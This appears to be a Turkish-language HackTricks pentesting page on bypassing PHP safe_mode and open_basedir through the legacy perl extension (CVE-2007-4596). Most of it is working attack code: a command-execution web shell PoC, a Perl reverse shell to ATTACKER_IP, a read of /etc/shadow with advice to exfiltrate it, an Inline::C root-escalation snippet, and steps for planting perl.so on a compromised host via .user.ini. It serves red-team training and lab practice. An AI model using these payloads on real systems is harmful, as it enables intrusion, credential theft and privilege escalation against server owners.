PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Background

CVE-2007-4596 olarak takip edilen sorun, tam bir Perl yorumlayıcısını PHP’nin safe_mode, disable_functions veya open_basedir kontrollerini dikkate almadan gömen eski perl PHP eklentisinden kaynaklanır. extension=perl.so yükleyen herhangi bir PHP worker, sınırsız Perl eval erişimi kazanır; bu yüzden tüm klasik PHP süreç-üretme ilkeleri engellense bile komut yürütme hâlen kolaydır. safe_mode PHP 5.4’te ortadan kalkmış olsa da birçok güncelliğini yitirmiş shared-hosting yığını ve zafiyetli laboratuvar hâlâ bunu barındırdığından, bu bypass eski kontrol panellerine eriştiğinizde hâlâ değerlidir.

Compatibility & Packaging Status (2025)

  • Son PECL sürümü (perl-1.0.1, 2013) PHP ≥5.0 hedefler; Zend API’lerinin değişmesi nedeniyle PHP 8+ genelde başarısız olur.
  • PECL, PIE ile yer değiştirmekte, ancak eski yığınlar hâlâ PECL/pear içerir. Aşağıdaki akışı PHP 5/7 hedeflerinde kullanın; daha yeni PHP sürümlerinde downgrade yapmayı ya da başka bir injection yolu (ör. userland FFI) kullanmayı bekleyin.

Building a Testable Environment in 2025

  • perl-1.0.1’i PECL’den alın, saldırmayı planladığınız PHP dalı için derleyin ve global olarak (php.ini) veya (izin varsa) dl() ile yükleyin.
  • Hızlı Debian tabanlı laboratuvar tarifi:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • İstismar sırasında kullanılabilirliği var_dump(extension_loaded('perl')); veya print_r(get_loaded_extensions()); ile doğrulayın. Bulunmuyorsa, perl.so’yu arayın veya yazılabilir php.ini/.user.ini girdilerini kötüye kullanarak zorla yükleyin.
  • Yorumlayıcı PHP worker’ın içinde yaşadığı için dış ikili dosyalara gerek yoktur — network egress filtreleri veya proc_open kara listeleri önemsizdir.

On-host build chain when phpize is reachable

If phpize and build-essential are present on the compromised host, you can compile and drop perl.so without shelling out to the OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Eğer open_basedir zorunluysa, bırakılan .user.ini ve .so dosyalarının izin verilen bir yol içinde bulunduğundan emin olun; extension= yönergesi hâlâ basedir içinde geçerlidir. Derleme akışı, PECL eklentileri oluşturma konusundaki PHP manual’ını yansıtır.

Orijinal PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, eklentinin eval’e yanıt verdiğini doğrulamak için hâlâ kullanışlı:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Modern Payload İyileştirmeleri

1. TCP üzerinden Tam TTY

Gömülü yorumlayıcı, /usr/bin/perl engellense bile IO::Socket yükleyebilir:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape open_basedir olsa bile

Perl, PHP’nin open_basedir ayarını yok sayar, bu yüzden herhangi bir dosyayı okuyabilirsiniz:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Çıktıyı IO::Socket::INET veya Net::HTTP üzerinden pipe ederek, PHP-managed descriptors’a dokunmadan exfiltrate data gerçekleştirin.

3. Inline Compilation for Privilege Escalation

Eğer sistem genelinde Inline::C bulunuyorsa, PHP’nin ffi veya pcntl’ine güvenmeden istekte yardımcıları derleyin:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl’i bir LOLBAS aracı olarak kullanın — örn., mysqli eksik olsa bile MySQL DSN’lerini dökün:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin